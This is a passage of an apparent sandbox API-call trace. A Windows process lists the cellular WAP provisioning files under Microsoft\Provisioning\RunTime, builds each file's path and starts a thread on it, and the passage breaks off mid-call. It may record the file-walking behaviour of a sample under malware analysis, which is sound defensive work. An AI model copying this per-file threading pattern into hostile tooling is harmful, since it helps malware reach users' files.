ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="173__C~1.PRO")) returned 1 [0085.961] wcscmp (_String1="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.961] wcscmp (_String1="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3478530 [0085.961] wcscpy (in: _Dest=0x3478530, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.961] wcscat (in: _Dest=0x3478530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.961] wcscat (in: _Dest=0x3478530, _Source="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" [0085.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3478530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0085.962] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="174__C~1.PRO")) returned 1 [0085.962] wcscmp (_String1="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.962] wcscmp (_String1="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x55d9758 [0085.962] wcscpy (in: _Dest=0x55d9758, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.962] wcscat (in: _Dest=0x55d9758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.962] wcscat (in: _Dest=0x55d9758, _Source="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0085.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d9758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0085.963] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="175__C~1.PRO")) returned 1 [0085.963] wcscmp (_String1="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.963] wcscmp (_String1="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d8330 [0085.963] wcscpy (in: _Dest=0x55d8330, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.963] wcscat (in: _Dest=0x55d8330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.963] wcscat (in: _Dest=0x55d8330, _Source="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0085.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0085.963] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", cAlternateFileName="176__C~1.PRO")) returned 1 [0085.964] wcscmp (_String1="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.964] wcscmp (_String1="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d90a0 [0085.964] wcscpy (in: _Dest=0x55d90a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.964] wcscat (in: _Dest=0x55d90a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.964] wcscat (in: _Dest=0x55d90a0, _Source="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" [0085.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d90a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0085.964] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", cAlternateFileName="177__C~1.PRO")) returned 1 [0085.967] wcscmp (_String1="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.967] wcscmp (_String1="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d8738 [0085.967] wcscpy (in: _Dest=0x55d8738, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.967] wcscat (in: _Dest=0x55d8738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.967] wcscat (in: _Dest=0x55d8738, _Source="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" [0085.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0085.968] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", cAlternateFileName="178__C~1.PRO")) returned 1 [0085.968] wcscmp (_String1="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.968] wcscmp (_String1="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d8488 [0085.968] wcscpy (in: _Dest=0x55d8488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.968] wcscat (in: _Dest=0x55d8488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.968] wcscat (in: _Dest=0x55d8488, _Source="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" [0085.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0085.969] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", cAlternateFileName="179__C~1.PRO")) returned 1 [0085.969] wcscmp (_String1="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.969] wcscmp (_String1="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d81d8 [0085.969] wcscpy (in: _Dest=0x55d81d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.969] wcscat (in: _Dest=0x55d81d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.969] wcscat (in: _Dest=0x55d81d8, _Source="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" [0085.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d81d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0085.970] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", cAlternateFileName="17__CO~1.PRO")) returned 1 [0085.970] wcscmp (_String1="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.970] wcscmp (_String1="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x55d89e8 [0085.970] wcscpy (in: _Dest=0x55d89e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.970] wcscat (in: _Dest=0x55d89e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.970] wcscat (in: _Dest=0x55d89e8, _Source="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" [0085.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d89e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0085.971] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", cAlternateFileName="180__C~1.PRO")) returned 1 [0085.971] wcscmp (_String1="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.971] wcscmp (_String1="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x55d85e0 [0085.971] wcscpy (in: _Dest=0x55d85e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.971] wcscat (in: _Dest=0x55d85e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.971] wcscat (in: _Dest=0x55d85e0, _Source="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" [0085.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d85e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0085.971] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="181__C~1.PRO")) returned 1 [0085.972] wcscmp (_String1="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.972] wcscmp (_String1="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x55d8b40 [0085.972] wcscpy (in: _Dest=0x55d8b40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.972] wcscat (in: _Dest=0x55d8b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.972] wcscat (in: _Dest=0x55d8b40, _Source="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0085.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0085.972] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="182__C~1.PRO")) returned 1 [0085.973] wcscmp (_String1="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.973] wcscmp (_String1="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x55d9b60 [0085.973] wcscpy (in: _Dest=0x55d9b60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.973] wcscat (in: _Dest=0x55d9b60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.973] wcscat (in: _Dest=0x55d9b60, _Source="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0085.973] CreateThread (in: 